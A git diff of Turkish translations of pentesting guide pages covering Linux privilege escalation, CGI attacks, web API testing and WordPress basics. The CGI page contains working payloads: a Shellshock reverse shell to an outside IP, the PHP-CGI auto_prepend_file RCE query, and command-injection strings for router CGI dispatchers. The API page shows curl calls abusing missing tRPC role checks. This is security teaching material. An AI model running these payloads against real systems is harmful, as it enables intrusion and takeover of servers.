aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif yol `/etc/rc.d/init.d`'dir. +Dizin `/etc/init.d`, System V init (SysVinit) için **scripts** barındırır; bu, **klasik Linux servis yönetim sistemi**dir. Servisleri `start`, `stop`, `restart` ve bazen `reload` etmek için script'ler içerir. Bunlar doğrudan veya `/etc/rc?.d/` içinde bulunan sembolik linkler aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. -Diğer taraftan, `/etc/init` **Upstart** ile ilişkilidir; Ubuntu tarafından tanıtılan daha yeni bir servis yönetimidir ve servis yönetimi görevleri için konfigürasyon dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içindeki uyumluluk katmanı nedeniyle SysVinit script'leri hâlâ Upstart konfigürasyonlarıyla birlikte kullanılır. +Öte yandan, `/etc/init` **Upstart** ile ilişkilidir; Ubuntu tarafından getirilen daha yeni bir **service management** olup servis yönetimi görevleri için konfigürasyon dosyaları kullanır. Upstart'e geçişe rağmen, Upstart içindeki uyumluluk katmanı nedeniyle SysVinit script'leri Upstart konfigürasyonlarıyla birlikte hâlâ kullanılmaktadır. -**systemd**, talep üzerine daemon başlatma, automount yönetimi ve sistem durumunun anlık görüntülerini alma gibi gelişmiş özellikler sunan modern bir init ve servis yöneticisi olarak öne çıkar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında düzenler, böylece sistem yönetimini kolaylaştırır. +**systemd**, talep üzerine daemon başlatma, automount yönetimi ve sistem durumu snapshot'ları gibi gelişmiş özellikler sunan modern bir init ve servis yöneticisi olarak öne çıkar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` altında organize ederek sistem yönetimini kolaylaştırır. -## Diğer İpuçları +## Diğer Hileler ### NFS Privilege escalation @@ -1482,7 +1490,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks genellikle ayrıcalıklı kernel fonksiyonelliğini userspace manager'a açmak için bir syscall'e hook atar. Zayıf manager doğrulaması (ör. FD-order'a dayalı imza kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten root edilmiş cihazlarda root'a escalate etmesine izin verebilir. Daha fazla bilgi ve exploitation detayları için buraya bakın: +Android rooting frameworks genellikle privileged kernel işlevselliğini userspace manager'a açmak için bir syscall'e hook koyar. Zayıf manager doğrulaması (ör. FD-order'a dayalı signature kontrolleri veya zayıf parola şemaları) yerel bir uygulamanın manager'ı taklit etmesine ve zaten-rootlu cihazlarda root'a yükselmesine izin verebilir. Daha fazla bilgi ve exploitation detayları için bakınız: {{#ref}} @@ -1491,15 +1499,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Regex-tabanlı service discovery, VMware Tools/Aria Operations içinde process komut satırlarından bir binary yolunu çıkarıp ayrıcalıklı bir bağlamda -v ile çalıştırabilir. İzin veren desenler (ör. \S kullanımı) writable lokasyonlarda (ör. /tmp/httpd) saldırgan tarafından yerleştirilmiş listener'larla eşleşebilir ve root olarak çalıştırılmaya yol açabilir (CWE-426 Untrusted Search Path). +Regex tabanlı service discovery, VMware Tools/Aria Operations içinde process komut satırlarından bir binary path çıkarıp -v ile ayrıcalıklı bir context'te çalıştırabilir. İzin veren desenler (ör. \S kullanımı) writable konumlardaki saldırgan tarafından yerleştirilen dinleyicilerle (ör. /tmp/httpd) eşleşebilir ve root olarak çalıştırmaya yol açabilir (CWE-426 Untrusted Search Path). -Daha fazla bilgi ve diğer discovery/monitoring yığınlarına uygulanabilir genelleştirilmiş desen için buraya bakın: +Daha fazla bilgi ve diğer discovery/monitoring stack'lere uygulanabilecek genel bir pattern için bakınız: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Kernel Security Protections +## Kernel Güvenlik Koruması - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1510,7 +1518,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux'te yerel privilege escalation vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 22df51fe5..8e48c8df8 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,26 +5,26 @@ ## Bilgi -The **CGI scriptleri perl scriptleridir**, bu yüzden, eğer _**.cgi**_ çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl reverse shell yükleyebilir** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **uzantıyı değiştirebilir** **.pl**'den **.cgi**'ye çevirebilir, **çalıştırma izinleri verebilir** \(`chmod +x`\) ve **web tarayıcısından** reverse shell'e **erişip** çalıştırabilirsiniz. -CGI vuln'larını test etmek için `nikto -C all` \(ve tüm eklentiler\) kullanılması önerilir. +The **CGI scripts are perl scripts**, bu nedenle _**.cgi**_ dosyalarını çalıştırabilen bir sunucuyu ele geçirdiyseniz bir **perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`) yükleyebilir, **uzantıyı** **.pl**'den **.cgi**'ye **değiştirip**, **çalıştırma izinleri** verebilir (`chmod +x`) ve ters kabuğa **web tarayıcısından** erişip çalıştırabilirsiniz. +CGI zafiyetlerini test etmek için `nikto -C all` (ve tüm eklentiler) kullanılması önerilir. ## **ShellShock** -**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **vulnerability**dir. Bu zafiyet, Bash'in uygulamalar tarafından iletilen komutları çalıştırabilme yeteneğini hedefler. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **environment variables**'ların manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **malicious code** ekleyerek bunu istismar edebilir; değişken alındığında eklenen kod çalıştırılır. Bu saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır. +**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **vulnerability**'dir. Bash'in uygulamalar tarafından geçirilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **environment variables**'ların manipülasyonunda yatar. Saldırganlar, environment variables'a **kötü amaçlı kod** ekleyerek bunu sömürebilir; değişken alındığında eklenen kod çalıştırılır. Bu, saldırganların sistemi potansiyel olarak ele geçirmesine olanak tanır. -Zafiyet istismar edildiğinde sayfa hata verebilir. +Bu zafiyeti sömürürken sayfa bir hata döndürebilir. -Bu zafiyeti, hedefin eski bir **Apache** sürümü ve **cgi_mod** (cgi klasörü ile) kullandığını fark ederek veya **nikto** kullanarak tespit edebilirsiniz. +Bu zafiyeti, eski bir Apache sürümü ve **cgi_mod** (cgi klasörü ile) kullanıldığını fark ederek veya **nikto** ile bulabilirsiniz. ### **Test** -Çoğu test, bir şeyi `echo`'layıp o dizgenin web yanıtında döndürüldüğünü kontrol etmeye dayanır. Bir sayfanın zafiyetli olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayıp test edin. +Çoğu test, `echo` ile bir şey yazdırmaya dayanır ve o dizein web yanıtında döndürülmesi beklenir. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm **cgi** sayfalarını arayıp test edin. **Nmap** ```bash nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi ``` -## **Curl \(yansımalı, kör ve bant-dışı\)** +## **Curl \(yansıtmalı, kör ve out-of-band\)** ```bash # Reflected curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE' @@ -51,15 +51,15 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Merkezi CGI dispatchers (seçici parametreler aracılığıyla tek uç noktada yönlendirme) +## Merkezi CGI yönlendiricileri (seçici parametrelerle tek uç noktadan yönlendirme) -Birçok gömülü web arayüzü, tek bir CGI uç noktasının (ör. `/cgi-bin/cstecgi.cgi`) arkasında onlarca ayrıcalıklı işlemi multiplex eder ve isteği dahili bir fonksiyona yönlendirmek için `topicurl=` gibi bir selector parametresi kullanır. +Birçok gömülü web UI'si, tek bir CGI uç noktasının (ör. `/cgi-bin/cstecgi.cgi`) arkasında onlarca ayrıcalıklı işlemi çoklayıp, isteği dahili bir fonksiyona yönlendirmek için `topicurl=` gibi bir seçici parametre kullanır. -Bu yönlendiricileri istismar etme metodolojisi: +Bu yönlendiricileri exploit etme metodolojisi: -- Enumerate handler names: JS/HTML scrape edin, wordlistlerle brute-force yapın veya firmware'i unpack edip dispatcher tarafından kullanılan handler string'lerini grep'leyin. -- Test unauthenticated reachability: bazı handler'lar auth kontrollerini unutuyor ve doğrudan callable oluyor. -- system utilities çağıran veya dosyalara touch yapan handler'lara odaklanın; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve öndeki tire `-`'i kaçırabilir. +- Enumerate handler names: JS/HTML kazı, wordlist'lerle brute-force yap, veya firmware'i unpack edip dispatcher tarafından kullanılan handler dizelerini grep ile ara. +- Test unauthenticated reachability: bazı handler'lar auth kontrollerini atlıyor ve doğrudan çağrılabiliyor. +- Sistem yardımcı programlarını invoke eden veya dosyalara touch yapan handler'lara odaklan; zayıf validator'lar genellikle sadece birkaç karakteri engeller ve baştaki tire `-`'yi kaçırabilir. Genel exploit şekilleri: ```http @@ -75,32 +75,31 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Tespit ve sertleştirme: +Tespit ve güçlendirme: -- Merkezi CGI uç noktalarına `topicurl`'un hassas işleyicilere ayarlandığı yetkilendirilmemiş istekleri izleyin. -- Başında `-` olan parametreleri işaretleyin (argv option injection attempts). -- Satıcılar: tüm durum-değiştiren işleyicilerde kimlik doğrulamayı zorunlu kılın, sıkı allowlists/types/lengths ile doğrulayın ve kullanıcı kontrollü dizeleri komut satırı flag'leri olarak asla geçirmeyin. +- Merkezi CGI uç noktalarına `topicurl`'ün hassas işleyicilere ayarlanmış olarak gelen kimlik doğrulanmamış istekleri izleyin. +- Başında `-` ile başlayan parametreleri işaretleyin (argv option injection attempts). +- Tedarikçiler: tüm durum-değiştiren işleyicilerde kimlik doğrulamasını zorunlu kılın, sıkı izin listeleri/tipler/uzunluklar kullanarak doğrulayın ve kullanıcı kontrollü dizeleri asla komut satırı bayrakları olarak iletmeyin. ## Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -Temelde CGI aktif ve PHP "eski" \(<5.3.12 / < 5.4.2\) ise code çalıştırabilirsiniz. -Bu açığı istismar etmek için web sunucusundaki bazı PHP dosyalarına parametre göndermeden (özellikle "=" karakterini göndermeden) erişmeniz gerekiyor. -Daha sonra bu açığı test etmek için örneğin `/index.php?-s`'e erişebilirsiniz \(note the `-s`\) ve **uygulamanın source code'u yanıtta görünecektir**. +Temelde eğer cgi etkinse ve php "eski" \(<5.3.12 / < 5.4.2\) ise kod çalıştırabilirsiniz. +Bu açığı istismar etmek için web sunucusunun bazı PHP dosyalarına parametre göndermeden erişmeniz gerekir \(özellikle "=" karakteri göndermeden\). +Daha sonra, bu açığı test etmek için örneğin `/index.php?-s` \(bkz. `-s`\) adresine erişebilirsiniz ve **uygulamanın kaynak kodu yanıt içinde görünecektir**. -Ardından **RCE** elde etmek için şu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve yürütülecek **PHP code** isteğin **gövdesinde** olacaktır. -Örnek: +Ardından, **RCE** elde etmek için şu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve çalıştırılacak **PHP kodu** isteğin **gövdesinde** olacak. Örnek: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**vuln ve olası exploits hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**Zafiyet ve olası exploitler hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM to Web server requests\)** +## **Proxy \(MitM Web sunucu istekleri için\)** -CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" şu şekilde oluşturulur: "HTTP_HOST"="web.com" +CGI, HTTP isteğindeki her header için bir environment variable oluşturur. Örneğin: "host:web.com" "HTTP_HOST"="web.com" olarak oluşturulur. -Web sunucusu HTTP_PROXY değişkenini kullanıyor olabilir. Şu **header**'ı göndermeyi deneyin: "**Proxy: <IP_attacker>:<PORT>**". Eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucunun yaptığı her isteği yakalayabilirsiniz. +HTTP_PROXY değişkeni web sunucusu tarafından kullanılabilir. Oturum sırasında sunucu herhangi bir istek yaparsa, **Proxy: <IP_attacker>:<PORT>** içeren bir **header** göndermeyi deneyin; böylece sunucunun yaptığı her isteği yakalayabilirsiniz. -## **Referanslar** +## **References** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index e8c0e718d..43cd4f253 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -4,52 +4,94 @@ ## API Pentesting Metodolojisi Özeti -API'leri pentest etmek, zayıflıkları ortaya çıkarmak için yapılandırılmış bir yaklaşım içerir. Bu kılavuz, pratik teknikler ve araçlara vurgu yaparak kapsamlı bir metodolojiyi kapsar. +Pentesting APIs, güvenlik açıklarını ortaya çıkarmak için yapılandırılmış bir yaklaşım gerektirir. Bu rehber, pratik teknikler ve araçlara vurgu yapan kapsamlı bir metodolojiyi özetler. -### **API Türlerini Anlamak** +### **Understanding API Types** -- **SOAP/XML Web Servisleri**: Dokümantasyon için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanır. **SOAPUI** ve **WSDLer** (Burp Suite Eklentisi) istekleri ayrıştırmak ve oluşturmak için önemlidir. Örnek dokümantasyon [DNE Online](http://www.dneonline.com/calculator.asmx) adresinde mevcuttur. -- **REST API'leri (JSON)**: Dokümantasyon genellikle WADL dosyalarında gelir, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sağlar. **Postman**, örnek istekleri oluşturmak ve yönetmek için değerli bir araçtır. -- **GraphQL**: API'ler için, API'nizdeki verilerin tam ve anlaşılır bir tanımını sunan bir sorgu dilidir. +- **SOAP/XML Web Services**: Dokümantasyon için genellikle `?wsdl` yollarında bulunan WSDL formatını kullanın. **SOAPUI** ve **WSDLer** (Burp Suite Extension) gibi araçlar istekleri parse etmek ve oluşturmak için hayati öneme sahiptir. Örnek dokümantasyona [DNE Online](http://www.dneonline.com/calculator.asmx) adresinden erişilebilir. +- **REST APIs (JSON)**: Dokümantasyon genellikle WADL dosyalarında bulunur, ancak [Swagger UI](https://swagger.io/tools/swagger-ui/) gibi araçlar etkileşim için daha kullanıcı dostu bir arayüz sağlar. **Postman** örnek istekler oluşturmak ve yönetmek için değerli bir araçtır. +- **GraphQL**: API'ler için, API'deki verilerin tam ve anlaşılabilir bir tanımını sunan bir sorgu dili. -### **Uygulama Laboratuvarları** +### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP'ın en iyi 10 API zayıflığını kapsayan, uygulamalı pratik için kasıtlı olarak zayıf bir API. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Eller-on uygulama için kasıtlı olarak zafiyetli bir API; OWASP top 10 API zafiyetlerini kapsar. -### **API Pentesting için Etkili İpuçları** +### **Effective Tricks for API Pentesting** -- **SOAP/XML Zayıflıkları**: XXE zayıflıklarını keşfedin, ancak DTD bildirimleri genellikle kısıtlıdır. XML geçerli kaldığı sürece CDATA etiketleri yük eklemeye izin verebilir. -- **Yetki Yükseltme**: Yetkisiz erişim olasılıklarını belirlemek için farklı yetki seviyelerine sahip uç noktaları test edin. -- **CORS Yanlış Yapılandırmaları**: Kimlik doğrulama oturumlarından CSRF saldırıları yoluyla potansiyel istismar edilebilirlik için CORS ayarlarını araştırın. -- **Uç Nokta Keşfi**: Gizli uç noktaları keşfetmek için API desenlerinden yararlanın. Fuzzer gibi araçlar bu süreci otomatikleştirebilir. -- **Parametre Manipülasyonu**: Yetkisiz verilere veya işlevlere erişmek için isteklerde parametre eklemeyi veya değiştirmeyi deneyin. -- **HTTP Yöntemi Testi**: Beklenmedik davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin. -- **İçerik Türü Manipülasyonu**: Ayrıştırma sorunları veya zayıflıkları test etmek için farklı içerik türleri (x-www-form-urlencoded, application/xml, application/json) arasında geçiş yapın. -- **Gelişmiş Parametre Teknikleri**: JSON yüklerinde beklenmedik veri türleri ile test edin veya XXE enjeksiyonları için XML verileri ile oynayın. Ayrıca, daha geniş testler için parametre kirliliği ve joker karakterler deneyin. -- **Sürüm Testi**: Eski API sürümleri saldırılara daha duyarlı olabilir. Her zaman birden fazla API sürümünü kontrol edin ve test edin. +- **SOAP/XML Vulnerabilities**: XXE zafiyetlerini inceleyin, ancak DTD deklarasyonları genellikle kısıtlanır. XML geçerli kaldığı sürece CDATA etiketleri payload yerleştirmesine izin verebilir. +- **Privilege Escalation**: Farklı yetki seviyelerine sahip endpoint'leri test ederek yetkisiz erişim imkanlarını tespit edin. +- **CORS Misconfigurations**: Kimlikli oturumlardan gelen CSRF saldırıları yoluyla sömürülebilirlik potansiyeli için CORS ayarlarını inceleyin. +- **Endpoint Discovery**: Gizli endpoint'leri keşfetmek için API pattern'lerinden yararlanın. Fuzzers gibi araçlar bu süreci otomatikleştirebilir. +- **Parameter Tampering**: İsteklere parametre ekleyip/yer değiştirerek yetkisiz veri veya fonksiyonlara erişimi test edin. +- **HTTP Method Testing**: Beklenmeyen davranışları veya bilgi sızıntılarını ortaya çıkarmak için istek yöntemlerini (GET, POST, PUT, DELETE, PATCH) değiştirin. +- **Content-Type Manipulation**: Parsing sorunları veya zafiyetleri test etmek için farklı Content-Type'lar (x-www-form-urlencoded, application/xml, application/json) arasında geçiş yapın. +- **Advanced Parameter Techniques**: JSON payload'larında beklenmeyen veri tipleri ile test edin veya XXE enjeksiyonları için XML verileriyle oynayın. Ayrıca daha geniş kapsamlı testler için parameter pollution ve wildcard karakterleri deneyin. +- **Version Testing**: Eski API versiyonları saldırılara daha açık olabilir. Her zaman birden fazla API versiyonunu kontrol edin ve test edin. + +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls + +Modern TypeScript stack'leri genellikle input validasyonu için tRPC ile Zod kullanır. tRPC'de `protectedProcedure` tipik olarak isteğin geçerli bir oturuma (authentication) sahip olduğunu doğrular ancak çağıranın doğru rol/izinlere (authorization) sahip olduğunu garanti etmez. Bu uyumsuzluk, hassas prosedürler yalnızca `protectedProcedure` ile sınırlandırılmışsa Broken Function Level Authorization/BOLA'ya yol açar. + +- Threat model: Rol kontrolleri eksikse, düşük ayrıcalıklı herhangi bir kimlik doğrulanmış kullanıcı admin düzeyindeki prosedürleri çağırabilir (ör. background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` endpoint'leri, admin-only olması gereken işlemler için temel hesaplarda başarılı oluyorsa. Self-serve signups istismar edilebilirliği önemli ölçüde artırır. +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Practical exploitation (black-box) + +1) Normal bir hesap kaydı yapın ve kimlik doğrulanmış bir oturum (cookies/headers) edinin. +2) Arka plan işleri veya diğer hassas kaynakları “list”/“all”/“status” işlemleri aracılığıyla listeleyin. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) bir işi yeniden başlatmak gibi ayrıcalıklı eylemleri çağırın: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Değerlendirilecek etkiler + +- Non-idempotent restarts yoluyla veri bozulması: Migrations/workers'ın eşzamanlı çalıştırılmasını zorlamak yarış durumları ve tutarsız kısmi durumlar yaratabilir (fark edilmeden veri kaybı, bozuk analizler). +- DoS via worker/DB starvation: Ağır işleri tekrar tekrar tetiklemek worker havuzlarını ve database bağlantılarını tüketebilir; bu da tenant genelinde kesintilere neden olur. ### **API Pentesting için Araçlar ve Kaynaklar** -- [**kiterunner**](https://github.com/assetnote/kiterunner): API uç noktalarını keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve kaba kuvvetle denemek için kullanın. +- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoint'lerini keşfetmek için mükemmel. Hedef API'lere karşı yolları ve parametreleri taramak ve brute force yapmak için kullanın. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj, zayıf kimlik doğrulama için ilişkili API uç noktalarını kontrol ederek **açık Swagger/OpenAPI tanım dosyalarının** denetimine yardımcı olmak üzere tasarlanmış bir komut satırı aracıdır. Ayrıca manuel güvenlik testi için komut şablonları sağlar. -- **automatic-api-attack-tool**, **Astra** ve **restler-fuzzer** gibi ek araçlar, saldırı simülasyonundan fuzzing ve güvenlik taramasına kadar API güvenlik testi için özel işlevler sunar. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS dosyasına dayalı olarak API'nizi denetleyen bir API güvenlik aracıdır (araç rust ile yazılmıştır). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj, ilişkili API endpoints için weak authentication'ı kontrol ederek **exposed Swagger/OpenAPI definition files**'ın denetimine yardımcı olmak üzere tasarlanmış bir komut satırı aracıdır. Ayrıca manuel zafiyet testi için komut şablonları sağlar. +- **automatic-api-attack-tool**, **Astra** ve **restler-fuzzer** gibi ek araçlar, attack simulation'dan fuzzing ve vulnerability scanning'e kadar API güvenlik testi için özelleştirilmiş işlevsellikler sunar. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS file'a dayalı olarak API'nizi denetleyen bir API security tool'udur (araç rust ile yazılmıştır). -### **Öğrenme ve Pratik Kaynakları** +### **Learning and Practice Resources** -- **OWASP API Güvenliği En İyi 10**: Yaygın API güvenlik açıklarını anlamak için temel bir okuma ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Güvenlik Kontrol Listesi**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filtreleri**: API güvenlik açıklarını avlamak için Logger++, yararlı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Uç Noktaları Listesi**: Test amaçları için potansiyel API uç noktalarının derlenmiş bir listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: Ortak API zafiyetlerini anlamak için temel bir okuma ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: API'leri güvence altına almak için kapsamlı bir kontrol listesi ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API zafiyetlerini avlarken, Logger++ faydalı filtreler sunar ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: Test amaçlı potansiyel API endpoint'lerinin derlenmiş listesi ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## Referanslar +## References - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 242103fc6..de5dd233f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Temel Bilgiler -- **Yüklenen** dosyalar gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Tema dosyaları /wp-content/themes/ içinde bulunur,** bu yüzden temanın bazı php dosyalarını değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanılarak **404.php** dosyasına şu adreste erişilebilir: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** dosyaları gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** bu nedenle tema php'sini değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: **theme twentytwelve** kullanarak şu dosyaya **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Başka faydalı bir URL şunu olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **wp-config.php** içinde veritabanının root parolasını bulabilirsiniz. -- Kontrol edilecek varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- `wp-config.php` içinde veritabanı root parolasını bulabilirsiniz. +- Kontrol edilmesi gereken varsayılan giriş yolları: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Ana WordPress Dosyaları** +### **Main WordPress Files** - `index.php` -- `license.txt` yüklenen WordPress sürümü gibi faydalı bilgiler içerir. -- `wp-activate.php` yeni bir WordPress sitesi kurarken e-posta aktivasyon süreci için kullanılır. +- `license.txt` yüklü WordPress sürümü gibi faydalı bilgiler içerir. +- `wp-activate.php` yeni bir WordPress sitesi kurulduğunda e-posta aktivasyon süreci için kullanılır. - Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` HTTP taşıma mekanizması ve XML kodlama mekanizması ile veri iletimine olanak sağlayan bir WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirildi. +- `xmlrpc.php` WordPress'in HTTP taşıyıcı mekanizma ve XML kodlama mekanizmasıyla veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. - `wp-content` klasörü eklentilerin ve temaların saklandığı ana dizindir. -- `wp-content/uploads/` platforma yüklenen tüm dosyaların saklandığı dizindir. -- `wp-includes/` sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek 